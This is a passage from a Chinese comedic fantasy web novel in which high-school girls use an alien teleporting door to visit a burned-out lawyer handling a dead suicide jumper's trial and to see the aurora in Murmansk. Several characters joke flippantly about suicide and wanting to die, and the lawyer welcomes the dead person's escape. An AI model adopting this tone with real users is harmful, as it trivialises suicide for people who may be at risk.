颜阎摘下眼镜,朝她比了个ok:“已经结束了。你的小老鼠真好用,它虽然跑得快,但偷偷给球球传了消息。球球告诉了我,我跑去二班钻进呼叫中心把律易棋叫过来,这才救了你们。”
律易棋把双手的短棍递给她看:“喏。”
“这是什么?”
“磁镜效应。这两根棍子是磁辊,里面有一对强线圈,能构成一个中间弱两端强的特殊磁场位形,可以困住组成游离体的等离子。它之于游离体,就像一对手铐之于人类。”
“这就是游离体?”虽然刘征兰和颜阎在光幕上看过,但第一眼完全没认出来,亲身接触还是感觉有点渗人。
“对。”律易棋让她们随便戳,“外面有一层保护膜,可以触碰,看来是星际文明的居民。没有保护膜的游离体只能在恒星内生活。”
英勇的刘征兰软趴趴地弯着腰,抬头看它:“这UMA怎么会出现在地球?”
律易棋有点尴尬地嘿嘿笑了两声:“哎呀……这个……有可能是掮木的错来着。”
“你们要入侵地球了?”颜阎很兴奋,“我给你们带路的话能让我当大富婆吗?”
“想得美。”律易棋用胳膊肘拐了她一下,“你们记得我在找我的战友吧?”
“这东西体外的保护膜上有暗槽,属于掮木生产,保护这种在恒星内生活的游离体不被过低的气压分解。伊曾在我战友瓦令舰上,是我们从一颗死星上带回来的。认知水平远低于一般的游离体,本来想带回虹鱼舰治疗,但瓦令失踪了,伊也不知所踪。”
律易棋苦笑着捧起手里的磁棍:“这么看来,瓦令应该是死了。伊的看护室是舰上最坚固的部分,连伊都能逃逸,瓦令和他的跳跃舰应该是尸骨无存了。”
律易棋把这个游离体带回了杂货店。另外三人偷偷回到了准备室。幸好准备室里一片混乱,没人在意她们。哼唱大蜘蛛和闪光大蛾子都不见了,颇有做好事不留名的豪侠风范。
混乱中有个女同学看到了刘征兰。她跑过来握了握她的手:“女子娘,大勇妇!”
刘征兰的脸皱成一团:“啊?什么?”
旁边听到这句话的女同学,慌乱之余发出了鹅叫般的笑声。莫名的笑声病毒般传染了全班。在欢快的鹅叫声里,所有人都获得了快乐的结局。
二班同学免于被不明生物袭击,观众席获得了灾难般的朗诵演出,四班免于垫底,准备室外的老师获得了周天子的愤怒。
校长和周天子听说准备室着火后,怒斥那名老师没有及时疏散学生。正因此,周天子对学生们的糟糕表现十分宽容,不停重复“活着就好”。
二班同学获得了周天子的同情,刘征兰获得了“女子娘大勇妇”的称号。整件事圆满落幕,连偷偷放出大蜘蛛和蛾子吸引游离体注意力、试图保护学生的马老师都很高兴。她检查了一下哼唱大蜘蛛,发现一点都没受伤!
28.在流放地
器材室事故以电路短路,在冬季水管结的冰里传导,形成了类似海市蜃楼的水雾为理由结案。从此不明飞行物在二班成为了一个梗。很多年后提起这件事,还是会有人低声窃笑。
康烁影惊讶地发现,混战过后的颜阎和刘征兰谈笑自若,没有互相赌气的痕迹。
她一边摸着飞飞的脑袋,一边拿眼睛在两人之间逡巡。等颜阎走后,她凑上去问刘征兰:“你们没有吵架?”
“我们什么时候吵架了?”
“她想让你退出朗诵比赛,你没退。”
“这有什么好吵架的?”刘征兰困惑,“我本来是想说服周天子的,这不是失败了吗?”
“但你还是上了。”
“是啊。”刘征兰摊手,“这有什么?”
康烁影很着急,她总觉得双方没说到一块儿:“哎呀,就是。朋友提要求,我们都顺着说,就算拒绝也更委婉一点。”
刘征兰笑了:“这是我自己的事。”
康烁影指她:“一般这么说就是生气了!”
“真没生气。”刘征兰安抚性地拍了拍她的肩膀,“我和颜阎能成为朋友,就是因为尊重对方的想法。只要我做决定了,她就会尽她所能支持我,我也一样。”
康烁影不太理解。如果刘征兰对她说:“这是我自己的事。”她一定会感觉被疏远了。但这两个人都怪怪的,她不能理解也是常事。要是两人都是常人,她还不愿意跟她们玩呢。
律易棋这次的表现十分亮眼。放学后大家都去盘问他以前到底是干什么的,怎么什么都会一点。
“我以前?以前是跳格子小队的。”律易棋老实交代,“就是负责开拓新的跳跃点和维修格子的。二十五岁的时候和两个朋友组织了兰卡的反皇室运动。后来跳格子小队解散了,我在婆旦的高层工作了几年,然后就叛变去掮木,反对婆旦的压榨了。”
工作了几年然后变成反社会,太合理了。
“等一下,这个故事里的后来、然后、几年有点多。”康烁影说,“你今年几岁?”
“六十。”
三人迅速退后。
“干什么?”律易棋很好笑地看着她们,“星际文明的人类平均寿命是两百二十左右,你们是多少?”
“我们没几个人能活过九十岁。”颜阎阴险地笑。
“对。我们超过一百岁政府发钱的。”康烁影点头。
律易棋也很震撼:“这么短?你们的基因从源头上就有问题吧?”
“怎么说话的!”
好吧,基因劣质就劣质吧,活太久也没意思。她们上高中上得恨不得明天早上一起床就发现自己死了。
“你们跳格子小队还教蹬墙跳?”颜阎问,“我打游戏都不敢跳这么高。”
“不是啦。我玩斩将夺旗的。”律易棋摆摆手,“这是斩将夺旗的技巧。”
康烁影抱住肩膀,娇滴滴地露出做作的惊恐之色:“噫,好暴力的游戏。”她把手放下,正色道,“我想看。”
地球哪有星际游戏给她看。另外两个人纯起哄,也围着律易棋说想看。律易棋想了想,说好啊。
“啊?”
“你们不是有呼叫中心吗?用它去就好了啊。”律易棋说,“最近正好是宇宙斩将夺旗赛事的决赛,时间大概在你们的寒假。要是想看的话,记得空出两三天时间哦。”
“真的吗?”
“真的。”律易棋说,“掮木短期内不会有活动,要是有事,我就用呼叫中心回去。”
四人莫名其妙约了一场比赛。
准备室的事情结束后,离寒假已经不远了。四班的罗塞塔组织了一个寒假作业交流群,取名叫“驻榕城振兴路办事处(联合国属)”。说是交流,其实是互抄。全年级的人都蜂拥而至。除了颜阎。
这位消息落后的女士加错群了,并且没有意识到,定期在群里发作业问解题方法,群里的好心人居然真的给她解答!这导致她至今没意识到自己加错了群。
放寒假前最重要的事就是期末考试。大家要重复一遍月考的流程,只不过不用穿插着上课了。
期末考试前一周的周日,康烁影这个整天带手机来学校的准精神小妹消息灵通,告诉大家一条新的人类观察成果。
“新城有人跳楼还记得吧?”她说,“那一片都被封了、交通全都堵在那边、住新城的人一上午都来不了学校那次。”
新城是榕城和县里之间的住宅区,房屋宽敞,交通便捷。康烁影家在那边有房子,但她不放假的时候都在榕城住。
那一天早上有无数人迟到,社交软件上骂声一片,疑似十二月给大家当头一棒。颜阎还用这件事和孔丘互怼过。
当时学生们都兴高采烈,感谢跳楼的勇士让他们能多睡一会儿,上班族痛不欲生,直呼要把这个影响交通的反社会分子判刑。
这件事重新被提起,是因为现实的荒诞。这位从十四楼一跃而下的不明人士真的要被判刑了。
“给死人判刑?”刘征兰深感社会的荒诞,“真的假的?”
“真的真的!”康烁影没来由得兴奋,“你猜律师是谁?”
大家理所当然地猜不到。
“咱们学校13年的优秀毕业生啊!照片现在还挂在门口呢!”
康烁影的消息还是很灵通的。老师们一上课就开始吹嘘这位给社会热点辩护的优秀毕业生,描述了她是多么聪颖可爱、尊师重道、温文尔雅。这些优秀毕业生都用着同一套说辞,仿佛是工厂模具加工出品。某种意义上也的确没说错,学校何尝不是一种工厂。
每一个听废话的人都很开心,他们可以趁机睡一会儿。
当天晚自习后,被二模生物卷难到挠自己脸的颜阎怒而起身,钻进呼叫中心,平等地打扰刘征兰和康烁影:“你们想不想去看看?”
“看什么?”刘征兰厌倦地把笔在指间旋转,“我想写物理,我动态平衡就快算完了。”
“看给死人判刑。”
刘征兰一下子就精神了,与之相对的是一下子就萎靡的康烁影。
“不会要看尸体吧……”
“哎呀,就看看具体是什么情况。你们不好奇吗!”
好奇。
要不说她们三个能玩到一块儿呢。三个狐朋狗友一拍即合,全部走进呼叫中心。法院找档案不方便,她们又不知道跳楼者的姓名。颜阎钻了个空子,她在心里默念优秀毕业生的名字:“她的现居地,她的现居地,她的现居地。”
打开门,一间略显阴暗狭窄的一室一厅小住宅出现在眼前。客厅里眼袋浮肿,神情困倦的女人端着一杯放了好多冰块的速溶咖啡,与凭空出现的三人面面相觑。
优秀毕业生照片墙上的学生笑意融融,眼前的律师面如土色。黑眼圈仍如影随形,眼袋已经先一步进化到令人惊叹的程度。
律师看看她们的脸,又看了看她们的校服,喉咙里滚出一声冷笑:“三中的学生,请坐吧。”
她们没法坐。呼叫中心的本体绿书包不能被她们带走,她们到处移动的媒介只有这扇门。全都离开门的话,她们指不定要连夜坐大巴回榕城了。
见她们没有动作,律师视若无睹地回卧室了。
“康女士,把住门。”颜阎叮嘱,然后悄悄在没关上的卧室前探头,“你不害怕吗?”
“怕什么?灵异事件吗?”律师啜了口咖啡,“灵异事件和写不完材料哪个更恐怖?显然是写不完材料。”
她忽然想起什么,猛然坐起来,神采奕奕地走向颜阎,一把抓住她的手:“你能把我杀了吗?我有保险,还能给我爸妈留笔钱。”
颜阎奋力挣脱:“想得美!大家都想死,凭什么你先走一步!”
“我就在处理先走一步的人的案件!”律师面色狰狞,“你知道吗。我每次看到ta的材料,嫉妒就油然而生。凭什么!ta嘎巴死了,我还悲惨地活着!悲惨地给律所
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打工!你知道律所抽成多少吗?百分之三十啊!旧社会菜市场都不抽这么多!”
刘征兰在一旁说风凉话:“你给死人判刑,没有这样那样的纠纷。比跟活人交流好多啦。”
“这才是我要问的。”律师把桌子上的纸叠起来狠狠摔响,像一颗炸弹爆炸在房间里,“什么时候法律可以给死人判刑了?这合理吗?我为什么在处理一个这么荒谬的案子?这就是我gap两年的惩罚吗!”
“你还能gap?”刘征兰惊叫,“你是在亚洲吗!”
“抑郁休学。”
“那就合理了。”
律师止不住地冷笑,怨恨从她的每一个毛孔里汩汩流出,攀上每个人的裤脚,渗透每个人的衣襟。幸好大家是高中生,常年浸染的怨气浓度更高,所以每个人都轻轻松松地把这点污渍抖下去了。
“我真不明白。”她说,“跳楼的人们阻碍了交通,人们要把跳楼的人判刑。当街杀人的疯子,人们却关注他背后的悲惨故事。这到底是个什么世界?乱杀人的不清楚,但自杀的人的确已经放弃自己了。这个时候他们还没放弃道德已经很好了,人们还要求他们悄无声息地死,不影响任何人?”
“确实。说明世界上大多数人都欺软怕硬。”颜阎席地而坐,把空着的小沙发留给刘征兰,“我自杀前不上街捅人已经很不错了,我死后哪管洪水滔天。”
康烁影握着门把,小心翼翼地把门挪到卧室里,坐在门框上,阻止门的关闭:“可是这样,那些损失了钱的人呢?挨骂的人呢?他们没资格抱怨吗?”
律师勃然大怒,把各种文件狠狠扔到地板上,疑似是无法攻击世界只能朝无机物无能狂怒。“咔吧”一声,中性笔粉身碎骨。刘征兰前去抢救摇摇欲坠的咖啡杯,颜阎一把护住康烁影的脑袋。
“上班迟到扣钱应该怪老板不人道,上学迟到挨骂应该怪校领导没人性。或者再高一点,去怪毫无弹性的系统,去怪泯灭人性的社会运转。一个社会竟然紧张到连意外的空间都容不下吗?结果人们怪到一个死人身上了?甚至恨到要给这个死人判刑?这份仇恨用在谁身上不好?老板、校领导、社会规则,他们都看不见!他们不敢恨庞大的东西,只敢恨渺小的人!”
她愤然发表演讲的间隙,高中生凑在一起研究她扫下来的资料。这份资料上没有死者的任何信息,死者的姓名、性别、年龄一概不知,只知道ta是跳楼而死。剩下的全是对ta的控诉。此案是共同诉讼,原告高达百人。罪名有故意杀人(ta自己)、危害公共安全、高空抛物、传播不良影响、寻衅滋事,等等等等。所有指控叠加,推测最后的结果是死刑,最多争取死缓。
“ta不是已经死了吗?”康烁影问完就缩回呼叫中心,她怕又被律师吼。
“对啊。”律师颓然倒在办公椅里,双手无力地垂下,眼睛凝视着虚空,“但是人们对认为ta没有在家里默默地死是没有道德的行为,又因为ta已经有了‘死亡’这幅金身,没有人能对ta造成伤害,人们只能在法律层面上否定ta,力求使ta在蔑视中再死一次。”
颜阎捅了捅刘征兰,低声说:“死人哪管他们啊!”
刘征兰也点头:“这个故事告诉我们,自杀一定得彻底,不然你的社会形象就完蛋了。”
康烁影四处看了看,很庆幸这场对话是在一个密闭的空间里进行的,但凡这里有第五个人,她们全都会身败名裂。
看着康烁影的神情,颜阎忍不住把她拉下水。她一扭一扭地把自己挪到她身边,附耳低语:“别庆幸,你还记得那对木杯吗?听说那是四次元产物!我们的一举一动都在被四次元的人监视着,所以现在的话都被高维的人听见啦!你早就身败名裂了!”
“那我怕什么?”康烁影莫名其妙,“高纬度的人又不和我在一块儿生活。它们讨厌我又影响不到我。”
“对啊。”颜阎笑嘻嘻,“所以我们审判死人,也影响不到死人。一个意思。”
29.审判
这场“绝对不能有第五个人”的私密谈话很快就中止了。
律师的本性与颜阎相似,是一个开朗而略有反骨的人。发泄过后,她还是招待了这些不速之客。脆甜的苹果切成小片,配上刚出锅的薯条和橡木气息浓郁的杏仁茶。苹果略涩的皮一丝都没滞留在果肉上,口感脆甜多汁,果香满口。薯条外酥内软,丝丝盐粒点缀其上,每口都咸香软糯。杏仁茶里放了一些玫瑰糖,回味甘甜,沁人心脾。
此前素不相识的几人在交心的反社会发言后,快乐地席地而坐,大吃大喝。
律师此时终于想起她们是凭空出现的。她对那扇门很感兴趣,问她们是不是有哆啦A梦。颜阎坦然地说:“没有,这是外星科技。”
律师点点头。可能是现实世界已经足够诡异,她完全没有提出什么质疑。活生生的三个人越过门锁出现在她家,跟她谈了一个小时的心,这件事本身就已经足够证明真实性了。
“要是我没有工作,我一定会很兴奋的。”律师说,“我会立刻让你们带我去冰岛看极光。可惜明天我就要开庭了,走不开。”
刘征兰啜饮着糯香扑鼻的杏仁茶:“那你就结案后再去,不着急,不着急。”
律师露出了大人的阴险笑容:“你们还是太年轻了!”
颜阎和刘征兰都对这句话有心理阴影:“停!不许说这句话!”
康烁影皱着脸:“听起来像是我家长会说的。”
律师也觉得这个语气实在太居高临下了。她盘起腿,恶狠狠地抓起一把薯条塞进嘴里:“死人无法被判刑,但不知道是哪一个环节出了问题,这个案子真的开庭了。可它又无法结案,只能一直拖着,拖到人们的愤怒平息为止。在此之前,这个案子不会中止,只会不断延期。它是个完全由情绪而起的烂摊子,而我这种新人就是收拾烂摊子的最好人选。”
不出人意料的职场黑暗,甚至有点老套。三个学生沉默着吃掉苹果片。
“在这个案子结束前,我只能靠一点点法律咨询来赚钱咯。”律师仰起头,布满血丝的眼睛正对着三人,像是一颗无机质的石头。表情笑嘻嘻,让人明显感觉到她要说一些地狱笑话,“需要法律建议吗?”
“……你说吧。”刘征兰在心里暗自把她和颜阎作对比,深知她狗嘴里吐不出象牙。
“你们想听真话还是假话?”
“谁想听假话啊?”
“很多啊。”律师摊开手,甩了甩沾满香甜果汁的手,“很多人花钱找律师,就是想听到一句稳中向好的假话!”
刘征兰:“那我们听真话。”
康烁影:“对,我们要听真相!”
“好。”律师露出邪恶笑容,“我的法律建议就是不要遵纪守法。”
三人冲上去用苹果片和薯条堵她的嘴:“吃你的零食吧!”
解决了零食,又翻了日程表。四个人惊愕地发现,她们的休息时间居然完全对不上。不如说她们四个都没什么时间休息,只有奔波和奔波间隙。
颜阎看着满满当当的寒假安排,沉吟片刻,然后道:“我有个办法。”
“你说。”
“现在就走。”颜阎站起身拍拍灰,整理好仪容,露出自信笑容,“咱们去冰岛。”
“现在?”刘征兰皱起脸,“肉眼看极光很看运气吧?大部分极光都是灰灰的。”
她小时候就有过看极光的计划,但是一直被搁置到今天。
颜阎一拍手,信心满满地举起手机:“查呗!科技发展就是干这个的。”
四个人一通搜查,排除了芬兰和冰岛,把目标定在了一月也能肉眼看到极光的摩尔曼斯克。
几个高中生回家拿厚衣服和雪地靴。康烁影还带来了一个运动相机和一只拍立得。颜阎在家里一阵翻腾,愕然发现她糙太久了,冬天都只是使劲往学校发的冲锋衣里塞加绒和毛衣,居然没有一件羽绒服穿!最后还是律师贡献了她的大红色羽绒服和一副棉手套。
律师全副武装地站在呼叫中心门口时还没反应过来:“那就去了?”
“去!”颜阎振臂高呼,“你羽绒服都翻出来了还不去?”
“明天的开庭怎么办?”
“反正它离结束早着呢,随便它!”
“明天你们上课怎么办?”
颜阎:“我上课本来就困,老师都习惯了!”
康烁影:“我化妆,我是不良少女,老师不管我。”
刘征兰……刘征兰有点纠结。她脸皮略薄,不喜欢被老师点名,而且今天不睡明天困,明天再困后天也只能睡五个小时,这个睡眠窟窿实在补不上。
颜阎和康烁影在她耳边转着圈鼓动:“去吧去吧!极光!极光好看!大家都带好装备了!还带了暖手宝热可可和吃了就暖和的魔鬼椒糖,机会难得啊!”
在3D立体环绕式音响的攻击下,刘征兰败下阵来,承诺绝不打退堂鼓。四个人拉钩上吊,然后直接前往摩尔曼斯克。
摩尔曼斯克位于俄罗斯,是北极唯一的不冻港。一月份的摩尔曼斯克到处覆盖着雪的披肩,纯洁的反射一切色彩的白使得整个世界都明亮而洁净。来来往往的游客们全都变成冒白汽的蒸汽机,呜呜呜地走来走去,看沉船的买纪念品的坐雪橇的应有尽有,大家的目的性都十分明确,这让颜阎很舒适。
四个人从须州跳到北极,在哈士奇公园无预约落脚,性质无限接近于偷渡客,其中还有一名在职律师。律师喜滋滋地在纪念品商店里买了一对鹿角,买完就塞回呼叫中心,免得带在身上。
“提问。”康烁影把虚空里的话筒放到律师嘴边,“为什么摩尔曼斯克是不冻港。”
律师的年代还分文理,但她与地理分手多年,早已遗忘旧情。康烁影又转向没学地理的刘征兰和颜阎,企图刁难她们。然而颜阎把头凑过去,坦然接受了采访:“因为北大西洋暖流。”
康烁影悚然:“你怎么知道?”
颜阎潇洒地一甩自己的松鼠尾巴状马尾:“因为我是杂学家。”
“其实是因为她混过国拟和史同。”刘征兰冷酷地拆穿她。
“这东西当历史入门还挺好玩的。”颜阎笑嘻嘻地承认,“当真你就输了!”
摩尔曼斯克比首都慢五个小时,大家仗着欧洲人认不出亚洲脸,在各个导游团里流窜。又是坐萨摩耶雪橇,又是玩巨大的秋千,还有一阵钻进了核动力破冰船。
颜阎大部分时间都缩在呼叫中心里守门。她不爱出门,对极光也没有很大的执念。康烁影有几次想跟她换岗,她都扒着门框不撒手:“你不许拽!你再拽我叫了啊!把所有人都引来,看看我们明天上不上国际新闻!”
“你出去玩玩嘛!”
“我不去。”颜阎滚回墙角,“我就是不喜欢旅游。”
“那你来干嘛?”
“和你们玩啊。”颜阎抬起眼睛,理所当然,“你们没事回来和我说说话,我就很开心。和朋友在一起哪里都很好玩。”
这话说的康烁影怪不好意思,也实在没法多说。撅着嘴跑了。
在雪地里滑了一跤,回来暖手脚的律师说:“你们这个地方应该装修一下,当个秘密基地。”
“我们也想,但高中生太忙了,一直没空。”
“我会贴墙纸,还会装地板。我家就是我自己装修的。等结束了我就给你们装修。”律师从家里拿来杏仁茶给大家分,“我还能把我家那个短腿小圆桌送给你们。本来那个是我给自己看电影准备的。结果我至今一次电影都没看过。”
颜阎实在有点受不了杏仁茶了,不动声色地把整杯塞给刘征兰,挨了刘征兰一个不可置信的眼神:“好哇好哇。我们举双手支持!”
四个人轮流睡觉,中途高中生还写了半张卷子,剩下半张抄的刘征兰的。熬到凌晨五点,门外忽然响起一阵欢呼:“快拍照!快拍照!”
四个人顿时精神了。隐藏在桦树林里的呼叫中心不好出入,她们把门挪到城郊,跟着极光猎人的车一路瞬移。最后两辆车停在城郊的雪堆上,她们也停了下来。
除颜阎之外的三
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个人跳出门框,雪被踩实的时候空气从空隙中挤压出去,像小时候穿的吱吱鞋。不冻港的风不刮脸,冰丝绸似的抚在脸上。高天之上藏蓝无云的夜空呈现出一种水晶般的澄澈。
深绿的火彩在水晶之上流转。
这就是极光。
天顶垂下的冰柱,夜的帘幕,冻结的冰层下流动的海水,女神的飘带,巨鲸游过的水痕。
那样涌动的天光,那样温柔的漩涡。
康烁影拿着相机一阵猛拍,嘴里不时发出无意义的惊叹。刘征兰呆在那里,眼睛直直地看着头顶的天空。
律师的脖子仰得太厉害,身体违背她的心跌坐在地。她躺在雪地上,直视着极光的深绿。不知是因为不愿眨眼还是纯粹的感动,她感到自己的眼睛像一汪温泉。
她耳边的杂音拉出一条长长的平直的线。
她想到了那个死人。
ta从楼上跳下来的时候,一定想到了这样的光景。那粉笔般灰白的天和地都离ta远去了,ta的心已经来到了这样的夜空下。
律师无数次触摸过那份资料。在律所咖啡香弥漫的冰冷桌台,在人们愤怒的指控中,在模糊日夜的屏幕光芒里。但她迄今为止,第一次对这个死人空白的履历产生了感情。一想到ta逃离了整个世界,她感到衷心的快乐和祝福。
如果我们还有机会见面的话。
律师想。
我们一起来摩尔曼斯克看极光吧。
在她震耳欲聋的心声中,深绿的光芒向天的尽头退去了。
那一天,颜阎和康烁影上课时的睡眠质量达到了一个惊人的巅峰,同时被老师拎出去吹冷风清醒。站在班级门口的走廊上,两人隔着天井打了个照面,心照不宣地挤眉弄眼。
刘征兰是这次旅行中的最大受害者。她承认自己很高兴,但也正如她预料的,她的睡眠打开了一个巨大的窟窿,她不得不放弃当天晚上的作业弥补。可她又颇有尊严,不愿意抄袭或者代写,所以作业的窟窿也越来越大,目前正在上课偷补,还要提防自己忽然睡着。
律师仿佛突然打通了任督二脉。她兴高采烈地开庭,并且在原告们指责她为罪犯辩护时完全没有进行普法教育,反而亢奋地表示:“既然我给罪犯辩护,我也触犯了道德上的禁区!不如你们把我当罪犯审判了吧!”
原告们群情激奋,当场要求判处她死刑。在“死刑”的声浪中,律师放声大笑。
嘲笑无疑是对个人情绪的最佳结构,原告们面面相觑。他们急于让没有道德的人受到惩罚,又不甘心让犯人就此得偿所愿。于是他们想出了一个好办法:
违背犯人的期望,把她从死刑改判无罪。
法官也对这场审判感到疑惑,又不愿意违逆民意。为了快速结案,真的把死刑改为了无罪。律师被当庭释放。
这都不影响律师的快乐。她整理了自己的家,带上了手机和美好的心情人间蒸发,再也没回来过。
走之前,她给呼叫中心重新刷了一遍漆,铺了蜂蜜色木地板,还把承诺的矮脚圆桌搬了进来。
实在不好意思免费要她装修,于是请了奶茶的三人拘谨地缩在一个小角上:“你就这么免费帮我们啦?”
律师一边装踢脚线一边帅气地擦了一把汗:“少管,我乐意。”
“那……那我们留个联系方式。”康烁影调出手机二维码放到她眼前,“没事你可以找我们玩,我们还能给你省车票。”
刘征兰阴暗地写作业:“不会的政治题也可以问你。”
律师洗手后加了她们每个人。在她们按同意的时候忽然阴险一笑:“我不一定会回你们的。”
颜阎回以阴险一笑:“我们也不一定会找你的。”
颜阎刘征兰和律师对着邪笑,只有康烁影不明所以,毛骨悚然,心想这一群都是啥人啊。
皆大欢喜的气氛中,只有她们的老师们不大开心,她们都为律师放弃了律所的工作而捶胸顿足。很多年后还能听到她们的惋惜:再也没人会给她们送好喝的杏仁茶了。
30.你说的话
“你们寒假全都没空?”律易棋惊诧不已,“真的假的?这次的票可难买了!”
“我们的时间都紧张到在工作日和发疯的律师一起去看极光了。你说呢?”颜阎说。康烁影在一旁单膝跪地,像捧着珍宝一样捧着手机。刘征兰虔诚地一下一下划动屏幕,给他展示极光的倩影,以增加她们语言的真实性。
寒假中,颜阎有两天一节的英语课,三天一节的生物课和每周一三五上的物理课,还有数学网课。康烁影有一天一节的数学线下课和地理的网课。刘征兰是天才少女,没补习班,但要带弟弟。与此同时,所有人都有五斤寒假作业。
“那你们谁有空谁去。”律易棋拿上一任店主留下来的热水壶给她们三个冲了优乐美,“有事就回家,反正有呼叫中心。我怀疑它也是空想文明的产物,这种不符合物理规则的跳格子是不会被监控到的。”
“问题不在这个。在于我们没有空闲,就算是没课的除夕也要去走亲戚。这是另一种形式的工作。”刘征兰痛苦地把脸贴在柜台上,伸手接过奶茶,“谢谢。”
“对,所谓的空闲只是奔波间隙。累到除了休息什么也不想干。”颜阎喝了一口自己的巧克力味优乐美,抿着嘴回味了一阵,把吸管往康烁影杯子里伸,“给我喝口你的。”
“高中生就是这样的。”康烁影发表结语,并一把拍开了颜阎的爪子。自从她俩熟起来后,她对颜阎的犯贱行为愈发暴躁,全然没有奶茶店谈心时的柔情,“喝你自己的。”
律易棋想了一阵,带笑的眼睛看向三个苦哈哈的高中生:“我有个办法。”
“什么办法?”
律易棋把她们三个拉到柜台后面专门准备的小马扎上坐下,打开了飞箱,问她们三个谁愿意当一下试验品。
石头剪刀布输了的康烁影被推了出来。
一层莹蓝色的光影从上往下扫射了一遍康烁影的身体,又让康烁影照着屏幕上的字读了几句话。光幕上,康烁影长相的ai便出现了。
律易棋又指使球球把康烁影的一些影视资料编入ai的认知库里。速度很快,刘征兰的奶茶才喝了一半就编好了。
“泥人,从现在起,你叫康烁影,性别女,种族是人类,细分为智人。年龄换算为22。”律易棋两指向上一抬,开启了ai的智能,“你愿意代替康烁影承担一部分生活和沟通的痛苦吗?”
ai康烁影在电子海虚空的地面蹭着鞋跟:“哎呀……就算我说不行也没办法的对吧?”
律易棋挑眉:“你说呢?”
ai康烁影撅着嘴:“好吧好吧。时间不能很长哦。”
从第三视目击自己的行为,康烁影极度不适,惨叫一声扑倒在刘征兰身上:“我平时真的这么嗲吗?真的吗?真的吗?”
刘征兰低语:“真的。”
“呃呃呃呃呃……”
虽然确实很像,但地球也有这种ai科技。本质上并不能代替她们。幸好星际文明发展这么多年,显然不是只有电子技术,同样发达的还有材料学。
律易棋回虹鱼舰拿了几根泛着银光的金属棍——他说这个叫肌管。肌管摸起来就像普通的合金,但它们彼此之间却有特殊的黏性。他三两下把肌管摆出一个火柴人的形状,又把一种十分有韧性的银色胶皮兜头套下去,胶皮自动裹在肌管上,形成了一层皮肤似的外衣。
“这样就可以了。”他说,“往里面放一个接收器再和ai连上就好了,外表就用折射影像。考虑到你们只需要坐、站和说话,接收器都不需要很新的,我拿上个系统的都可以。”
“这么好使?”颜阎摸了摸这个火柴人,刚一碰感觉确实很像人的皮肤,但手感太光滑,上肢末端代替手的那部分也不太灵活,“能替我上学吗?”
“当然不行,这个太粗糙了,很容易被识破,是我们那里小孩子拿来玩过家家的。要不是时间紧张,其实还有配套的软泥和可降解甲,能拿来模仿柔软的肉/体和动物外壳。”律易棋把火柴人摆正,很满意地看了又看,“我小时候用它搭过很多动物呢。”
四个人头靠头研究了一阵,决定把时间定在大年二十九,大年三十和初一这几天。年三十要应付的亲戚比较多,大家从呼叫中心回去吃个年夜饭,初一再回来,看完整整三天的比赛。期间让飞飞,球球和银芯梅分别帮她们看着情况,要是家里人发现了就立刻联系她们。
银芯梅听说她们要去看斩将夺旗,浅绿色的眼睛流露出了被抛弃的受伤神情。
“我也想看斩将夺旗。”伊说,“我在地球十四年了,最大的娱乐活动就是吃烧烤。我十四年没看斩将夺旗了。”
伊看起来很想哭,但伊对人体的控制水平不太高,使得伊只能语气平平地抽了抽鼻子。
伊上前把康烁影的手拢在自己手心中。伏人的皮肤像丝绸一样顺滑,温水一般暖和,春天般的眼睛里溪水莹莹:“我真的很想去……”
康烁影被迷得晕头转向,差一点就在美人计里一蹶不振。幸好她在颜阎和刘征兰充满吐槽欲的表情中把持住了自己,坚决地拒绝了伊:“不行,我也想去。你要是不看着我爸妈,我就暴露了!”
颜值攻击失败。银芯梅迅速抽回手,“啧”了一声。康烁影气得直翻白眼。
这次的斩将夺旗在星际文明里备受关注。不只是因为它是决赛,还因为各种传闻。什么□□、怪盗的阴谋、刻石人大量出动维护现场秩序,都让这次比赛蒙上了一层神秘的色彩。
飞飞不感兴趣。比起斩将夺旗,它对铁星环的巡回乐园更感兴趣,但铁星环显然不会把店开到地球。球球更不感兴趣,它每天都在看新的哲学论文,很鄙视沉溺于低级快感的银芯梅。
于是大家结束了期末考试,迎来了高二的寒假。颜阎偷摸去看了□□,本想向大家分享,结果被刘征兰所不齿,她只能和康烁影独自瓜分。
在过年之前,颜阎开启了补习班和家两点一线的生活。刘征兰带弟弟。康烁影一边上课一边在闲暇之余当现充辣妹。三个人的人生差别初现端倪,相同的是痛苦永随其身。
颜阎和刘征兰那边就算描写了也只会得到一段家庭琐事和痛苦的知识碎片,为了娱乐性,还是先看看康烁影在干什么吧。
康烁影和柳令全、张晓怡,在县城乱逛。
张晓怡讨厌和康烁影柳令全一起出门。
好吧,她承认出门玩是挺高兴的,但是出门过程中有一套绝对不能打破的规则。其中最重要的一条就是:绝对不要展现出对任何商品的兴趣。
路过售楼区,三人在蒸汽管道泄露的水雾里抹了一把脸,抬起头望向鸽子笼一样的窗口。
柳令全说:“你们猜这楼多少钱?”
康烁影:“它不变成烂尾楼再说!”
三个人谁都没有动。
张晓怡道:“我猜三千一平。”
康烁影:“我猜两千五。”
柳令全:“你们太看得起咱们这儿的经济。我猜一千。”
张晓怡:“给我买一个。”
柳令全:“我也要。”
康烁影:“想得美。”
三个人贬损了自己的老家,获得了一种心灵上的快感,一起嘿嘿笑起来。
对房子的兴趣不算,它不算商品,算奢侈品。
三个人又路过手机店,在充满科技感的玻璃橱窗、荧光灯条和大型logo的威压下望而却步。
张晓怡:“其实我一直没跟你们说。”
柳令全:“你说。”
张晓怡:“我手机旧了,该换了。我想要个新的。”
康烁影:“颜阎的手机快四年了还在用。”<
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p>张晓怡悲伤地拱进柳令全怀里:“全儿,她叛变了。自从跟颜阎搭上线之后,她都不在乎我们了!张口闭口把我们跟她比。”
柳令全用宽大的身躯罩住她,两个人抱在一起抽泣,配上张晓怡盘起来的头发,看起来像暖洋洋安慰懒洋洋。
康烁影给了她们一人一脚。
手机也不算,它不算商品,是必需品。
路过金店,三个人趴在橱窗上,看里面立裁模特身上一环咬一环、金蛇似的纯金大链子。哈出的白汽在橱窗上面留下三张五官俱全的脸。
康烁影抢占先机:“给我买。”
张晓怡转向柳令全:“我也要一条。”
柳令全打开手机,展示:余额五十。
最后三人在路边花二十买了张刮刮乐,开到十块。三人抓着彼此的胳膊欢呼,还把路过的小孩姐抱起来转了一圈。周围人以为她们赚了十万。
最后三个人来到每次出门玩的必经之地:商场里的高端百货店。
来了。张晓怡的最终boss房。
三人摸遍店里手感很好的玩偶和帽子,又品鉴了所有的耳钉和发卡。如果它们有知觉,一定在不留余地的吐槽中信心破碎。
百货店一般不卖耳骨钉,只有耳钉和耳环。三个人都有耳洞,所以主要凑在耳钉区看来看去。
康烁影拿起一对耳钉,把带标签的那一面举起来看了看,然后将那一面按在胸口问:“你们猜它多少钱?”
